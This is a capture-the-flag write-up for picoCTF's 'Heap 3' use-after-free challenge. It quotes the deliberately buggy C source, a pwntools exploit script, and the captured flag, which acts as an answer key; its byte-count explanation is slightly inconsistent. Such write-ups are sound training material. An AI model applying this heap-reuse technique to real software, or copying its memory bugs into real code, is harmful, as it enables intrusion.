Heap 3
Leveraging a UAF vulnerability to manipulate heap allocation
Provided By
Rivers <- visit their site!
Challenge Info
This program mishandles memory. Can you exploit it to get the flag? Download the binary here. Download the source here.
Additional details will be available after launching your challenge instance.
Understanding chall.c
The code for your convenience:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
// Create struct
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
int num_allocs;
object *x;
void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("No flage for u :(\n");
fflush(stdout);
}
// Call function in struct
}
void print_menu() {
printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
// Create a struct
void init() {
printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
fflush(stdout);
x = malloc(sizeof(object));
strncpy(x->flag, "bico", 5);
}
void alloc_object() {
printf("Size of object allocation: ");
fflush(stdout);
int size = 0;
scanf("%d", &size);
char* alloc = malloc(size);
printf("Data for flag: ");
fflush(stdout);
scanf("%s", alloc);
}
void free_memory() {
free(x);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x->flag, x->flag);
printf("+-------------+-----------+\n");
fflush(stdout);
}
int main(void) {
// Setup
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
alloc_object();
break;
case 3:
// print x
printf("\n\nx = %s\n\n", x->flag);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
free_memory();
break;
case 6:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
- Defines a constant for the max size of the flag string (
FLAGSIZE_MAX
). - A structure
object
is defined with 4 character arrays (a[10]
,b[10]
,c[10]
,flag[5]
). - Pointer
x
is declared globally, but not yet pointing to anything. init()
functionhttps://chirpy.cotes.page/ is declared, it executesx = malloc(sizeof(object))
, ensuring that enough memory is reserved for all of struct’s members (a[10]
,b[10]
,c[10]
, andflag[5]
. Additionally, the global pointerx
is now set to point to this memory block that will hold the previously definedobject
struct.) There’s alsoint num_allocs
, but this is unused.strncpy()
copies the string"bico"
into theflag
member/field of theobject
thatx
is pointing to.alloc_object()
function is declared. It begins by prompting us to input the size of the memory allocation that they want to make.- Then, an integer variable
size
is initialized in order to store the size of the allocation.scanf("%d", &size)
reads an integer input from us and then stores it in the previously initializedsize
variable. - Essentially, the program expects us to enter a value that represents the number of bytes we want to allocate.
- Then, an integer variable
check_win()
function is declared. It checks ifx->flag
matches with'pico'
. And if it does, then we get our flag. This is essentially the ‘win’ condition.alloc_object
function is declared, it prompts us to enter a size for dynamic allocation, it then reads an integer, and allocates memory accordingly. Finally, it accepts input to populate this allocated space.
Vulnerabilities
- Use-After-Free (UAF) vulnerability, because while the
free_memory()
function does free the memory block associated withx
, it’s vulnerable because ifcheck_win()
is called afterward, thenx->flag
can still be accessed. - Buffer overflow vulnerability: while the
flag
member inobject
is only 5 bytes, making it very limited, because ofalloc_object
, we could specify a much larger input for the memory allocated toalloc
. So, if this memory isn’t handled correctly, then we can just overwrite memory structures adjacent toalloc
(hence the buffer overflow).
Before proceeding with the solution, I’ll paste the program’s interface so that it’s easier to visualize:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
> nc tethys.picoctf.net 62002
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice:
The Plan
So, to exploit this program, we can leverage the UAF vulnerability that I previously discussed. If we combine this with heap allocation manipulation (via buffer overflow), we can overwrite a specific field in a freed structure (x->flag
) with the string "pico"
. This is how it would look like step by step:
- We select option
5
to free x. - We select option
2
to allocate a new block of memory, which is likely to use the same memory area thatx
was previously occupying, because they’re goingto have similar size requirements.- The allocation size will be between 20 and 40, this way, we increase the likelihood that our new allocation will overlap with the previously freed
object
struct. - Recall that the
object
struct has 4 members, for a total of 35 bytes.1 2 3 4 5 6
typedef struct { char a[10]; // ten bytes char b[10]; // ten bytes char c[10]; // ten bytes char flag[5]; // 5 bytes } object;
- The allocation size will be between 20 and 40, this way, we increase the likelihood that our new allocation will overlap with the previously freed
- While still in the “allocate object” option, we now input a payload string that will contain
"pico"
at the end to overwrite the previousflag
value"bico"
. - Select option 4 (“Check for win”) and get our flag!
Solution
The pwntools payload that I came up with is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
r = remote('tethys.picoctf.net',51280)
r.sendline(b'5')
r.sendline(b'2')
r.sendline(b'40')
payload = b'A' * 30 + b'pico'
r.sendline(payload)
r.sendline(b'4')
r.interactive()
All of the r.sendline
’s are for selecting options in the interface. As for the actual payload, it consists of an initial 24 bytes (8 blocks of A’s), and then a final block of 6 A’s, and “pico”- for a total of 34 bytes. The reason we are inputting 34 bytes, rather than 35, is because the flag
field in the object
struct has a 5 byte space, due to the program accounting for a null byte.
flag: picoCTF{now_thats_free_real_estate_a7381726}